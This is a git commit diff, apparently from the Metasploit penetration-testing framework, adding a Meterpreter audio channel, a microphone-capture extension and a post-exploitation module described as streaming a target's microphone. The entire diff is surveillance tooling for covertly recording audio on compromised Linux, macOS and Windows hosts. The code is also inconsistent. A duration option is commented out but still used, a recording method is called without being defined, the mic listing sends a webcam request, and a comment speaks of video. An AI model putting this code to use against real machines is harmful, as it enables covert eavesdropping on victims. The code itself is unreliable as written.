Add audio-channel
parent
7e1b50ab3b
commit
ebf967db3e
|
@ -0,0 +1,103 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/channels/pool'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/tlv'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Channels
|
||||
module Pools
|
||||
|
||||
###
|
||||
#
|
||||
# StreamPool
|
||||
# ----------
|
||||
#
|
||||
# This class represents a channel that is associated with a
|
||||
# streaming pool that has no definite end-point. While this
|
||||
# may seem a paradox given the stream class of channels, it's
|
||||
# in fact dinstinct because streams automatically forward
|
||||
# traffic between the two ends of the channel whereas
|
||||
# stream pools are always requested data in a single direction.
|
||||
#
|
||||
###
|
||||
class Audio < Rex::Post::Meterpreter::Channels::Pool
|
||||
|
||||
include Rex::IO::StreamAbstraction
|
||||
|
||||
##
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
##
|
||||
|
||||
# Initializes the file channel instance
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
|
||||
initialize_abstraction
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Streaming pools don't support tell, seek, or eof.
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# This method returns the current offset into the pool.
|
||||
#
|
||||
def tell
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
#
|
||||
# This method seeks to an offset in the pool.
|
||||
#
|
||||
def seek
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns whether or not eof has been returned.
|
||||
#
|
||||
def eof
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Transfers data to the local half of the pool for reading.
|
||||
#
|
||||
def dio_read_handler(packet, data)
|
||||
rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01)
|
||||
if(rv)
|
||||
lsock.write(rsock.read())
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the local half of the pool stream.
|
||||
#
|
||||
def dio_close_handler(packet)
|
||||
rsock.close
|
||||
|
||||
return super(packet)
|
||||
end
|
||||
|
||||
#
|
||||
# Cleans up resources used by the channel.
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
|
||||
cleanup_abstraction
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Webcam
|
||||
|
||||
###
|
||||
#
|
||||
# This meterpreter extension can list and capture from webcams and/or microphone
|
||||
#
|
||||
###
|
||||
class Mic
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(client)
|
||||
@client = client
|
||||
end
|
||||
|
||||
def session
|
||||
@client
|
||||
end
|
||||
|
||||
def mic_list
|
||||
response = client.send_request(Packet.create_request('webcam_list'))
|
||||
names = []
|
||||
response.get_tlvs(TLV_TYPE_MIC_NAME).each do |tlv|
|
||||
names << tlv.value
|
||||
end
|
||||
names
|
||||
end
|
||||
|
||||
# Starts recording video from video source of index +cam+
|
||||
def mic_start(cam)
|
||||
request = Packet.create_request('mic_start')
|
||||
request.add_tlv(TLV_TYPE_MIC_INTERFACE_ID, cam)
|
||||
client.send_request(request)
|
||||
true
|
||||
end
|
||||
|
||||
def mic_get_frame(quality)
|
||||
request = Packet.create_request('mic_get_frame')
|
||||
request.add_tlv(TLV_TYPE_MIC_QUALITY, quality)
|
||||
response = client.send_request(request)
|
||||
response.get_tlv(TLV_TYPE_MIC_IMAGE).value
|
||||
end
|
||||
|
||||
def mic_stop
|
||||
client.send_request(Packet.create_request('mic_stop'))
|
||||
true
|
||||
end
|
||||
|
||||
attr_accessor :client
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Multi Manage Stream Microphone',
|
||||
'Description' => %q{
|
||||
This module will enable and stream your target's microphone.
|
||||
Please use Java meterpreter to be able to use this feature.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'dmohanty-r7'],
|
||||
'Platform' => %w{ linux osx win },
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
#OptInt.new('DURATION', [false, 'Number of seconds to record', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def rhost
|
||||
session.sock.peerhost
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if client.nil?
|
||||
print_error("Invalid session ID selected. Make sure the host isn't dead.")
|
||||
return
|
||||
end
|
||||
|
||||
data = session.webcam.record_mic(datastore['DURATION'])
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue